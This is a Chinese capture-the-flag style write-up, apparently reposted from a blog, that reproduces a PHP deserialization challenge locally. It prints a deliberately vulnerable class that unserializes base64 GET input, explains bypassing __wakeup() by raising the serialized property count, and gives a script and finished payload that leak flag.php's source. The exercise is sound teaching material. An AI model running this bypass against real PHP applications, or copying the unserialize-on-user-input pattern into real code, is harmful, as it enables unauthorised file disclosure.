duwentao-[本地复现]-[__wakeup()魔术方法绕过]

本文阅读 3 分钟
首页 代码,C/C#/C++ 正文

1.duwentao-[本地复现]

第一步:代码审计

<?php
#error_reporting(0);                         //注释掉了关闭错误报告
class SoFun                                    //类:SoFun
{        
    protected $file = 'index.php';            //保护属性:$file='index.php'
    public function __construct($file)        //构造方法__construct(),在实例化当前类前,自动被调用,使用参数$file初始化
    {    
        $this->file = $file;                //给属性$file初始化
    }
    
    function __destruct()                    //析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用
    {
        if(!empty($this->file))                //判断属性$file的值是否为空,若为空就执行以下的判断语句
        {    //判断$file属性里面有没有路径符号,若没有就显示当前目录下的以$file属性为名的文件的源码,若有退出脚本
            if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
                show_source(dirname(__FILE__).'/'.$this->file);
            else
                 die('Wrong filename.');
        }
    }
    
    function __wakeup()                        //魔术方法__wakeup(),在当前类的实例化对象反序列化时,自动被调用[可绕过]
    {
        $this->file = 'index.php';            //给属性$file值赋为index.php
    }
    
    public function __toString()            //魔术方法:__toString(),在当前类的实例化对象被当作字符串操作时,自动被调用
    {
        return '';                            //返回空
     }
 }


if(!isset($_GET['file'])){                    //判断后台是否收到以GET形式提交的file参数的值且不为NULL
    show_source('duwentao.php');            //若没收到,显示当前页面源码,注意此时的页面我改为了duwentao.php
}else{
    $file = base64_decode($_GET['file']);    //若收到,则base64解码参数值
    echo unserialize($file);                //反序列化参数值后,打印出来
}
?>
<!--key in flag.php-->                        //提示flag.php

第二步:思路

倒推法:

想要显示flag.php页面源码--》就要执行show_source(dirname(__FILE__).'/'.$this->file);--》就要给SoFun类的$file属性赋值为flag.php

因此:我们要传入一个SoFun类的实例化对象,且保护属性$file的值为flag.php,然后再序列化,base64编码,传入。
//但是,后台还有一个__wakeup()魔术方法,在反序列化的时候,$file属性的值又被覆盖成index.php,所以我们就要绕过它

绕过方法:把序列化字符串中的属性个数改为大于真实属性个数即可

第三步:编写代码,构造payload

<?php
error_reporting(0);
class SoFun
{
    protected $file = 'index.php';
    public function __construct($file)
    {
        $this->file = $file;
    }

    function __destruct()
    {
        if(!empty($this->file))
        {
            if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
                show_source(dirname(__FILE__).'/'.$this->file);
            else
                die('Wrong filename.');
        }
    }

    function __wakeup()
    {
        $this->file = 'index.php';
    }

    public function __toString()
    {
        return '';
    }
}


$chen = new SoFun('flag.php');
$chen = serialize($chen);
echo $chen."<br />";
//O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}
$chen = str_replace(chr(0),'\00',$chen);
$chen = str_replace('s:7','S:7',$chen);
echo $chen."<br />";
//O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
$chen = str_replace(':1:',':2:',$chen);
echo $chen."<br />";
//O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
$chen = base64_encode($chen);
echo $chen."<br />";
//Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
?>
<!--key in flag.php-->

因此payload:

?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

第四步:提交payload,获取flag【由于是本地环境,注意php的版本问题】

提交payload

图略

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/109959306
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复